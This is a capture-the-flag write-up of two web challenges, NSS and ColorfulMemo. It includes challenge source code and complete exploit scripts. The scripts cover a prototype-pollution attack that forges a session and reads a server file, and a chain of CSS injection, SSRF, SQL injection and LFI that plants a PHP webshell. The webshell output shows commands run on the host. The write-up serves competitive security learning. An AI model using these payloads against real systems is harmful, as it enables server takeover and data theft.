Summary This time I did participate in CTF because GoN team of Kaist hosted the CTF. I was hacking to dawn after long time and I solved two challenges:ColorfulMemo, NSS.
I gave up that i felt it’s so hard challenge while analysing this challenge called Trino: Albireo.
(Q) - NSS [897 pts] This is a challenge that leak a local file using Prototype Pollution. Personally, this challenge of Prototype Pollution is best I solved latest.
1 2 3 4 5 6 7 8 9 10 11 12 ❯ tree -I "node_modules" . ├── Dockerfile ├── file.js ├── flag ├── main.js ├── package-lock.json ├── package.json ├── user.js └── workspace.js 0 directories, 8 files
they provided the code of challenge, but it was a little than thought.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 FROM node:current-alpine3.15 WORKDIR /usr/src/app COPY package*.json ./ RUN npm install RUN npm install -g npm@8.5.4 COPY . . EXPOSE 80 CMD [ "node" , "main.js" ]
In docker file, there is no important setting but I could know the location of flag is /usr/src/app/flag
.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 const express = require ("express" );const bodyParser = require ('body-parser' );const app = express (); app.use (bodyParser.json ()); app.listen (80 , () => console .log ("[*] Server Started!" )); app.get ("/" , (req, res ) => { res.status (204 ); }); require ('./user.js' )(app);require ('./workspace.js' )(app);require ('./file.js' )(app);
main.js call a total of three Apis:user.js, workspace.js, file.js.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 const crypto = require ('crypto' );const fs = require ('fs' );const os = require ('os' );const path = require ('path' );const appPrefix = 'nss' ;users = {}; tokens = {}; salt = crypto.randomBytes (128 ).toString ('base64' ); function check_session (userid, token ) { const sess = tokens[token] if (!sess) return false ; if (sess.owner != userid) return false ; if (sess.expire < Date .now () / 1000 ){ tokens.delete (token); return false ; } else return true ; } function cleanup_user (user ) { fs.rmSync (user.base_dir , {recursive : true }); }; module .exports = function (app ) { app.get ("/api/users" , (req, res ) => { res.status (200 ).json ({res : true , users : Object .keys (users)}); }); app.post ("/api/users" , (req, res ) => { const userid = req.body .userid || "" ; const pass = req.body .pass || "" ; if (!userid || !pass) return res.status (400 ).json ({ok : false , err : "Invalid userid or password" }); if (pass.length < 10 ) return res.status (400 ).json ({ok : false , err : "Password too short" }); const user = users[userid]; if (user) return res.status (400 ).json ({ok : false , err : "ID already exists" }); base_dir = "" try { base_dir = fs.mkdtempSync (path.join (os.tmpdir (), appPrefix)); } catch { return res.status (500 ).json ({ok : false , err : "Internal server error" }); }; if (!base_dir) return res.status (500 ).json ({ok : false , err : "Internal server error" }); users[userid] = { userid : userid, pass : crypto.createHash ('sha512' ).update (pass + salt).digest ('hex' ), workspaces : {}, base_dir : base_dir }; res.json ({ok : true }); }); app.delete ("/api/users" , (req, res ) => { const userid = req.body .userid || "" ; const pass = req.body .pass || "" ; if (!userid || !token) return res.status (400 ).json ({ok : false , err : "Invalid userid or token" }); if (!check_session (userid, token)) return res.status (403 ).json ({ok : false , err : "Failed to validate session" }); const user = users[userid]; cleanup_user (user); delete user.userid ; return res.status (200 ).json ({ok : true }); }); app.post ("/api/users/auth" , (req, res ) => { const userid = req.body .userid || "" ; const pass = req.body .pass || "" ; if (!userid || !pass) return res.status (400 ).json ({ok : false , err : "Invalid userid or password" }); const user = users[userid]; if (!user) return res.status (404 ).json ({ok : false , err : "Failed to find user" }); if (user.pass != crypto.createHash ('sha512' ).update (pass + salt).digest ('hex' )) return res.status (403 ).json ({ok : false , err : "Incorrect password" }); token = crypto.randomBytes (20 ).toString ('hex' ); tokens[token] = { owner : userid, expire : 30 * 60 + Date .now () / 1000 }; res.json ({ok : true , token : token}); }); } module .exports .check_session = check_session;module .exports .users = users;module .exports .tokens = tokens;
user.js has a function to creating and deleting users and login. If it created user, it put user information into user object. And If login successful, it put user token into tokes object after creating the token using user id. In this point, important point is when it is creating user, it make os.tmpdir()+appPrefix
as base_dir
. So, default path of user is /tmp*
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 const fs = require ('fs' );const path = require ("path" );const user_module = require ('./user.js' )const check_session = user_module.check_session ;const users = user_module.users ;function cleanup_workspace (base_dir, workspace ){ for (const f_path in Object .values (workspace)) { fs.rmSync (path.join (base_dir, f_path), {recursive : true }); } } module .exports = function (app ) { app.get ("/api/users/:userid" , (req, res ) => { const id = req.params .userid || "" ; const token = req.body .token || "" ; if (!userid || !token) return res.status (400 ).json ({ok : false , err : "Invalid userid or token" }); if (!check_session (userid, token)) return res.status (403 ).json ({ok : false , err : "Failed to validate session" }); const user = users[userid]; res.status (200 ).json ({ok : true , workspace : Object .keys (user.workspaces )}); }); app.post ("/api/users/:userid" , (req, res ) => { const userid = req.params .userid || "" ; const token = req.body .token || "" ; const ws_name = req.body .ws_name || "" ; if (!userid || !token) return res.status (400 ).json ({ok : false , err : "Invalid userid or token" }); if (!check_session (userid, token)) return res.status (403 ).json ({ok : false , err : "Failed to validate session" }); users[userid].workspaces [ws_name] = {}; res.json ({ok : true }); }); app.delete ("/api/users/:userid" , (req, res ) => { const userid = req.params .userid || "" ; const token = req.body .token || "" ; const ws_name = req.body .ws_name || "" ; if (!userid || !token) return res.status (400 ).json ({ok : false , err : "Invalid userid or token" }); if (!check_session (userid, token)) return res.status (403 ).json ({ok : false , err : "Failed to validate session" }); const user = users[userid]; if (!ws_name) return res.status (400 ).json ({ok : false , err : "Invalid workspace name" }); const workspace = user.workspaces [ws_name]; if (!workspace) return res.status (404 ).json ({ok : false , err : "Failed to find workspace" }); cleanup_workspace (workspace); delete user.workspace .ws_name ; return res.status (200 ).json ({ok : true }); }); } module .exports .cleanup_workspace = cleanup_workspace;
workspace.js too is similar with user.js: making, deleting workspace of user. here is no vulnerability too.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 const fs = require ('fs' );const path = require ("path" );const user_module = require ('./user.js' )const check_session = user_module.check_session ;const users = user_module.users ;function write_b64_file (f_path, contents ) { try { if (!fs.existsSync (path.dirname (f_path))) fs.mkdirSync (path.dirname (f_path), {recursive : true }); fs.writeFileSync (f_path, contents,{encoding : 'base64' }); } catch (e) { fs.rmSync (f_path, {recursive : true }); return false ; } return true ; } function read_b64_file (f_path ) { try { return fs.readFileSync (f_path, {encoding : 'base64' }); } catch (e) { return ; } } module .exports = function (app ) { app.get ("/api/users/:userid/:ws" , (req, res ) => { const userid = req.params .userid || "" ; const ws_name = req.params .ws || "" ; const token = req.body .token || "" ; if (!userid || !token) return res.status (400 ).json ({ok : false , err : "Invalid userid or token" }); if (!check_session (userid, token)) return res.status (403 ).json ({ok : false , err : "Failed to validate session" }); const user = users[userid]; if (!ws_name) return res.status (400 ).json ({ok : false , err : "Invalid workspace name" }); const workspace = user.workspaces [ws_name]; if (!workspace) return res.status (404 ).json ({ok : false , err : "Failed to find workspace" }); res.status (200 ).json ({ok : true , workspace : Object .keys (workspace)}); }); app.post ("/api/users/:userid/:ws" , (req, res ) => { const userid = req.params .userid || "" ; const ws_name = req.params .ws || "" ; const token = req.body .token || "" ; const f_name = req.body .file_name || "" ; const f_path = req.body .file_path .replace (/\./g ,'' ) || "" ; const f_content = req.body .file_content || "" ; if (!userid || !token) return res.status (400 ).json ({ok : false , err : "Invalid id or token" }); if (!check_session (userid, token)) return res.status (403 ).json ({ok : false , err : "Failed to validate session" }); const user = users[userid]; if (!ws_name) return res.status (400 ).json ({ok : false , err : "Invalid workspace name" }); const workspace = user.workspaces [ws_name]; if (!workspace) return res.status (404 ).json ({ok : false , err : "Failed to find workspace" }); if (!f_name || !f_path) return res.status (400 ).json ({ok : false , err : "Invalid file name or path" }); if (!write_b64_file (path.join (user.base_dir , f_path), f_content)) return res.status (500 ).json ({ok : false , err : "Internal server error" }); workspace[f_name] = f_path; return res.status (200 ).json ({ok : true }); }); app.delete ("/api/users/:userid/:ws" , (req, res ) => { const userid = req.params .userid || "" ; const ws_name = req.params .ws || "" ; const token = req.body .token || "" ; const f_name = req.body .file_name || "" ; if (!userid || !token) return res.status (400 ).json ({ok : false , err : "Invalid userid or token" }); if (!check_session (userid, token)) return res.status (403 ).json ({ok : false , err : "Failed to validate session" }); const user = users[userid]; if (!ws_name) return res.status (400 ).json ({ok : false , err : "Invalid workspace name" }); const workspace = user.workspaces [ws_name]; console .log (workspace) if (!workspace) return res.status (404 ).json ({ok : false , err : "Failed to find workspace" }); if (!f_name) return res.status (400 ).json ({ok : false , err : "Invalid file name" }); const f_path = workspace[f_name]; if (!f_path) return res.status (404 ).json ({ok : false , err : "Failed to find file" }); fs.rmSync (path.join (user.base_dir , f_path), {recursive : true }); delete workspace[f_name]; return res.status (200 ).json ({ok : true }); }); app.get ("/api/users/:userid/:ws/:fname" , (req, res ) => { const userid = req.params .userid || "" ; const ws_name = req.params .ws || "" ; const f_name = req.params .fname || "" ; const token = req.body .token || "" ; if (!userid || !token) return res.status (400 ).json ({ok : false , err : "Invalid userid or token" }); if (!check_session (userid, token)) return res.status (403 ).json ({ok : false , err : "Failed to validate session" }); const user = users[userid]; if (!ws_name) return res.status (400 ).json ({ok : false , err : "Invalid workspace name" }); const workspace = user.workspaces [ws_name]; if (!workspace) return res.status (404 ).json ({ok : false , err : "Failed to find workspace" }); if (!f_name) return res.status (400 ).json ({ok : false , err : "Invalid file name" }); const f_path = workspace[f_name]; if (!f_path) return res.status (404 ).json ({ok : false , err : "Failed to find file" }); const content = read_b64_file (path.join (user.base_dir , f_path)); if (typeof content == "undefined" ) return res.status (500 ).json ({ok : false , err : "Internal server error" }); res.status (200 ).json ({ok : true , file_content : content}); }); }
file.js
is important that solve this challenge. file.js
has a function to print the workspace of user and creat, delete a file and read the file it created. But when we see the function of reading the file, it take the value of f_name
from workspace
object and use it as the path of file. So If we modify the value of f_name
to flag path, we can read a flag.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 app.post ("/api/users/:userid/:ws" , (req, res ) => { const userid = req.params .userid || "" ; const ws_name = req.params .ws || "" ; const token = req.body .token || "" ; const f_name = req.body .file_name || "" ; const f_path = req.body .file_path .replace (/\./g ,'' ) || "" ; const f_content = req.body .file_content || "" ; if (!userid || !token) return res.status (400 ).json ({ok : false , err : "Invalid id or token" }); if (!check_session (userid, token)) return res.status (403 ).json ({ok : false , err : "Failed to validate session" }); const user = users[userid]; if (!ws_name) return res.status (400 ).json ({ok : false , err : "Invalid workspace name" }); const workspace = user.workspaces [ws_name]; if (!workspace) return res.status (404 ).json ({ok : false , err : "Failed to find workspace" }); if (!f_name || !f_path) return res.status (400 ).json ({ok : false , err : "Invalid file name or path" }); if (!write_b64_file (path.join (user.base_dir , f_path), f_content)) return res.status (500 ).json ({ok : false , err : "Internal server error" }); workspace[f_name] = f_path; return res.status (200 ).json ({ok : true }); });
the value of f_path
was defined in logic of creating a file. it put the path value into f_name value of workspace
. But in the if statement, if workspace of user is not defined, error occurs but we can create it that we request to /api/users/:userid
as POST. And even if we created, base_dir
is /tmp/*
and the value f_path
remove .
chars using replace() method so we can’t go to up. So we can’t escape from base_dir using this function.
But Prototype Pollution
occur when we make or read or delete a file. So I used it. it call several if statement after getting the value of several parameter. Here, important thing is way for calling object of users.
1 2 3 1. const user = users[userid]; 2. const workspace = user.workspaces[ws_name]; 3. workspace[f_name] = f_path;
Call all object of users as above. But here, we can use prototype pollution because be not checking the value ws_name
1 2 1. const workspace = user.workspaces[__proto__]; 2. workspace[f_name] = f_path;
If the value of ws_name
is __proto__
, in second part workspace will be prototype object because the result value is prototype object. then we can pollute internal property to f_path
using the f_name
.
1 2 3 4 5 6 7 8 9 10 11 12 13 const users = {}users['asdf' ] = { userid : 'asdf' , pass : 'asdf' , workspaces : {'asdf' :{}}, base_dir : '/tmp/a/nss' }; user = users['asdf' ] const workspace = user.workspaces ['__proto__' ];console .log (workspace)workspace['asdf' ] = 'polluted' console .log (asdf)
1 2 3 ❯ node poc.js [Object: null prototype] {} polluted
So, Prototype Pollution
occur as above.
1 2 3 4 5 6 7 8 9 10 11 POST /api/users/asdf/__proto__ HTTP/1.1 Host : localhost:8888Content-Length : 97Content-Type : application/jsonConnection : close{ "token" : "b168dbf118c3ee0fe6db7a3d576694b5e11dfae1" , "file_name" : "base_dir" , "file_path" : "/usr/src/app" }
After creating a user, if we request as above, we can pollute the value what we want to base_dir
.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 app.get ("/api/users/:userid/:ws/:fname" , (req, res ) => { const userid = req.params .userid || "" ; const ws_name = req.params .ws || "" ; const f_name = req.params .fname || "" ; const token = req.body .token || "" ; if (!userid || !token) return res.status (400 ).json ({ok : false , err : "Invalid userid or token" }); if (!check_session (userid, token)) return res.status (403 ).json ({ok : false , err : "Failed to validate session" }); const user = users[userid]; if (!ws_name) return res.status (400 ).json ({ok : false , err : "Invalid workspace name" }); const workspace = user.workspaces [ws_name]; if (!workspace) return res.status (404 ).json ({ok : false , err : "Failed to find workspace" }); if (!f_name) return res.status (400 ).json ({ok : false , err : "Invalid file name" }); const f_path = workspace[f_name]; console .log (f_path) if (!f_path) return res.status (404 ).json ({ok : false , err : "Failed to find file" }); console .log (`user.base_dir : ${user.base_dir} ` ) const content = read_b64_file (path.join (user.base_dir , f_path)); if (typeof content == "undefined" ) return res.status (500 ).json ({ok : false , err : "Internal server error" }); res.status (200 ).json ({ok : true , file_content : content}); });
From now, we have to make the value of f_path to flag. But this f_path is in the object of workspace and also object workspace is in the object workspaces. Eventually we have to make the object of new user after we make the new token and object of workspace temporarily. So I got the flag after I pollutued the pass, owner, expire, base_dir, flag, workspace.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from itsdangerous import base64_decodeimport requestsimport jsonimport string import randomLENGTH = 4 CHALL_URL = "http://host3.dreamhack.games:19598" STRING_POOL = string.digits USERNAME = "" PASSWORD = "aaaaaaaaaaa" HEADER = { "Content-Type" :"application/json" } for i in range (LENGTH): USERNAME += random.choice(STRING_POOL) print (f'[+] USERNAME : {USERNAME} ' )requests.post(CHALL_URL + '/api/users' , headers=HEADER, data=json.dumps({"userid" :USERNAME, "pass" :PASSWORD})) token = requests.post(CHALL_URL + '/api/users/auth' , headers=HEADER, data=json.dumps({"userid" :USERNAME, "pass" :PASSWORD})).json() TOKEN = token['token' ] print (f"[+] Token : {TOKEN} " )requests.post(CHALL_URL + f'/api/users/{USERNAME} /__proto__' , headers=HEADER, data=json.dumps({"token" :TOKEN, "file_name" :"pass" , "file_path" :"pass" })) requests.post(CHALL_URL + f'/api/users/{USERNAME} /__proto__' , headers=HEADER, data=json.dumps({"token" :TOKEN, "file_name" :"owner" , "file_path" :"pass" })) requests.post(CHALL_URL + f'/api/users/{USERNAME} /__proto__' , headers=HEADER, data=json.dumps({"token" :TOKEN, "file_name" :"expire" , "file_path" :"100000000000" })) requests.post(CHALL_URL + f'/api/users/{USERNAME} /__proto__' , headers=HEADER, data=json.dumps({"token" :TOKEN, "file_name" :"base_dir" , "file_path" :"/usr" })) requests.post(CHALL_URL + f'/api/users/{USERNAME} /__proto__' , headers=HEADER, data=json.dumps({"token" :TOKEN, "file_name" :"src/app/flag" , "file_path" :"src/app/flag" })) requests.post(CHALL_URL + f'/api/users/{USERNAME} /__proto__' , headers=HEADER, data=json.dumps({"token" :TOKEN, "file_name" :"workspaces" , "file_path" :"asdf" })) LEAK_DATA = requests.get(CHALL_URL + '/api/users/pass/__proto__/src%2fapp%2fflag' , headers=HEADER, data=json.dumps({"token" :"pass" })).json() try : print (f"[+] Leak Data : {base64_decode(LEAK_DATA['file_content' ])} " ) except : print (f"[+] Leak Data : {LEAK_DATA} " )
I wrote the exploit code as above.
1 2 3 4 ❯ python3 nss-poc.py [+] USERNAME : 4896 [+] Token : b9ab24d6a79dda202bf365541d67998a2c5bf5ce [+] Leak Data : b'GoN{4he_be4uty_0f_pr0t0typ3_p011uti0n}\n'
1 FLAG : GoN{4he_be4uty_0f_pr0t0typ3_p011uti0n}
(V) - ColorfulMemo [490 pts] This is a challenge that triggers RCE via LFI vulnerability after uploading using SQL Injection.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 FROM mysql:8.0 -debianENV MYSQL_RANDOM_ROOT_PASSWORD=yesENV MYSQL_USER=user ENV MYSQL_PASSWORD=passwordENV MYSQL_DATABASE=colorfulmemoENV TZ=Asia/SeoulENV OPENSSL_CONF=/dev/nullRUN sed -i 's/deb.debian.org/mirror.kakao.com/g' /etc/apt/sources.list RUN apt-get update -y \ && DEBIAN_FRONTEND=noninteractive \ apt-get install --no-install-recommends -y \ gcc wget bzip2 python3-pip python3-setuptools \ software-properties-common apache2 php php-mysqli \ chrpath libssl-dev libxft-dev \ libfreetype6 libfreetype6-dev \ libfontconfig1 libfontconfig1-dev \ && rm -rf /var/lib/apt/lists/* /var/www/html/* COPY ./src/ /var/www/html/ RUN chmod -R 755 /var/www/html RUN wget -q -O /root/phantomjs-2.1.1-linux-x86_64.tar.bz2 \ https://bitbucket.org/ariya/phantomjs/downloads/phantomjs-2.1.1-linux-x86_64.tar.bz2 \ && tar -C /root/ -jxf /root/phantomjs-2.1.1-linux-x86_64.tar.bz2 \ && cp /root/phantomjs-2.1.1-linux-x86_64/bin/phantomjs /bin/ \ && rm -rf /root/phantomjs* RUN pip3 install --no-cache-dir selenium==2.48.0 COPY ./bot.py /bot.py RUN chmod 755 /bot.py COPY mysql/config/ /etc/mysql/ RUN chown -R www-data:www-data /var/lib/mysql /var/run/mysqld COPY ./init.sql /docker-entrypoint-initdb.d EXPOSE 80 EXPOSE 3306 COPY ./run.sh /run.sh RUN chmod 755 /run.sh COPY --chown =root:www-data ./flag /flag RUN chmod 440 /flag && \ mv /flag /flag_$(md5sum /flag | awk '{print $1}' ) ENTRYPOINT ["/run.sh" ]
In the docker file, I could know that challenge use MySQL and Apache and location of flag is /flag_$(md5sum /flag | awk ‘{print $1}’).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ~/Downloads/b05d57b0-db9a-4196-a9c0-8db4c0ff5361/src ❯ tree -I "js|bootstrap" . ├── check.php ├── header.php ├── include.php ├── index.php ├── list.php ├── main.php ├── read.php ├── submit.php └── write.php 0 directories, 9 files
Above code is back-end code. There is three vulnerabilities called CSS Injection to SSRF, SQL Injection to File upload, LFI to RCE.
1 2 3 4 5 6 7 <style> .content{ color:<?php echo $color ?> } </style> <!-- /var /www/html/read.php -->
CSS Injection occurred in read.php. this is important point.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php $path = $_GET ["path" ]; if ($path == "" ){ $path = "main" ; } $path = "./" .$path .".php" ; ?> <style> .body { padding-top:5 %; padding-left:5 %; padding-right:5 %; } </style> <!DOCTYPE html> <html> <head> <?php include_once "./include.php" ; ?> </head> <body> <?php include_once "./header.php" ; ?> <div class ="body "> <?php include_once $path ; ?> </div > </body > </html > <!-- /var /www /html /index .php -->
LFI occurred because it don’t check $path parameter in index.php.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php if ($_SERVER ["REMOTE_ADDR" ] == '127.0.0.1' || $_SERVER ["REMOTE_ADDR" ] == '::1' ){ $id = $_GET ['id' ]; $mysqli = new mysqli ('localhost' ,'user' ,'password' ,'colorfulmemo' ); $result = $mysqli ->query ('SELECT adminCheck FROM memo WHERE id = ' .$id ); if ($result ){ $row = mysqli_fetch_row ($result ); if ($row ){ if ($row [0 ] != 1 ){ $stmt = $mysqli ->prepare ('UPDATE memo SET adminCheck = 1 WHERE id = ?' ); $stmt ->bind_param ('i' ,$id ); $stmt ->execute (); $stmt ->close (); } } } } else { die ("no hack" ); } ?>
SQL Injection occurred because it don’t check $id parameter in check.php. But SQL Injection is occuring only locally.
1 2 3 4 5 6 7 8 9 10 from selenium import webdriverimport timeimport sys, osmemoid = sys.argv[1 ] driver = webdriver.PhantomJS(service_log_path='/dev/null' ) driver.implicitly_wait(10 ) driver.get("http://localhost/read.php?id=" + memoid) driver.get("http://localhost/check.php?id=" + memoid)
1 2 3 4 5 6 7 8 9 10 <?php $id = $_GET ['id' ];if (ctype_digit ($id )){ exec ("python3 /bot.py " .$id ); } else { die ("no hack" ); } die ('<script> location.href="/" </script>' );?>
it calls bot.py in submit.php. we can’t exploit because it don’t check $id parameter using ctype_digit() function. But we can exploit as SSRF using background: url() of CSS. So I just decided to insert an SSRF PoC as color value using post writing function.
1 2 3 4 5 6 7 POST /?path=write HTTP/1.1 Host : host1.dreamhack.games:9111Content-Length : 95Content-Type : application/x-www-form-urlencodedConnection : closememoTitle =asdf&memoColor=aqua}.content{background:%20url('https://google.com' )&memoContent =adsf
I inserted an SSRF PoC as above. After this processing, When I go to connect, I could see that it request to check.php well. If we report this post, we can see that it sleep for 5 seconds. (delete photo)
1 2 3 4 5 6 7 8 9 [mysqld] pid-file = /var/run/mysqld/mysqld.pid socket = /var/run/mysqld/mysqld.sock datadir = /var/lib/mysql secure-file-priv= /tmp/ default_authentication_plugin=mysql_native_password # Custom config should go here !includedir /etc/mysql/conf.d/
Now we have to upload the webshell. So I tried to upload the webshell to /var/www/html/cmd.php but it failed. So I read a code that for finding a reason. The reason is that the value of secure-file-priv is /tmp.
1 2 3 4 5 6 7 POST /?path=write HTTP/1.1 Host : host1.dreamhack.games:9111Content-Length : 220Content-Type : application/x-www-form-urlencodedConnection : closememoTitle =asdf&memoColor=aqua}.content{background:%20 url('/check.php?id=99999 %20 union%20 select%20 concat(char(60 ),"?php%20echo%20system($_GET[\'cmd\']);%20?" ,char(62 ))%20 into%20 outfile%20 "/tmp/cmd1.php" ')&memoContent=adsf
So, as above, I inserted the SQL Injection payload that upload the webshell in the /tmp/cmd1.php path and uploaded the webshell through the report function.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import requestsimport string import randomimport reCHALLURL = "http://host2.dreamhack.games:16301" LENGTH = 6 string_pool = string.digits filename = "" for i in range (LENGTH): filename += random.choice(string_pool) FILANAME = filename + '.php' print (f'[+] FILANAME : {FILANAME} ' )MEMODATA = { 'memoTitle' :'asdf' , 'memoColor' :'aqua}.content{background: url(\'/check.php?id=9999999 union select concat(char(60),"?php echo system($_GET[\\\'cmd\\\']); ?",char(62)) into outfile "/tmp/' + FILANAME + '"\')' , 'memoContent' :'asdf' } requests.post(CHALLURL + '/?path=write' ) print (f'[+] MEMODATA : {MEMODATA} ' )requests.post(CHALLURL + '/?path=write' , data=MEMODATA) POST_COUNT = re.findall('\<th scope\=\"row\"\>[0-9]*\<\/th\>' , requests.get(CHALLURL + '/?path=list' ).text) REPORT_NUM = POST_COUNT[-1 ].split('<th scope="row">' )[1 ].split('</th>' )[0 ] requests.get(CHALLURL + f'/submit.php?id={REPORT_NUM} ' ) print ("\n[+] Enable webshell!!" )while (1 ): payload = input ("[+] Enter the command : " ) RESULT = requests.get(CHALLURL + f'/?path=../../../../../../tmp/{filename} &cmd={payload} ' ).text.split('<div class="body">' )[1 ].split('</div>' )[0 ].strip() print (RESULT)
I wrote the exploit code as above
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ❯ python3 poc.py [+] FILANAME : 367455.php [+] MEMODATA : {'memoTitle': 'asdf', 'memoColor': 'aqua}.content{background: url(\'/check.php?id=9999999 union select concat(char(60),"?php echo system($_GET[\\\'cmd\\\']); ?",char(62)) into outfile "/tmp/367455.php"\')', 'memoContent': 'asdf'} [+] Enable webshell!! [+] Enter the command : id uid=33(www-data) gid=33(www-data) groups=33(www-data) uid=33(www-data) gid=33(www-data) groups=33(www-data) [+] Enter the command : pwd /var/www/html /var/www/html [+] Enter the command : ls / | grep '^flag' flag_47ef1a0fd43364198f2422159badba75 flag_47ef1a0fd43364198f2422159badba75 [+] Enter the command : cat /flag_47ef1a0fd43364198f2422159badba75 GoN{cH41N_0f_W3b_VuLn3r4b1l1t1E5}GoN{cH41N_0f_W3b_VuLn3r4b1l1t1E5} [+] Enter the command :
1 FLAG : GoN{cH41N_0f_W3b_VuLn3r4b1l1t1E5}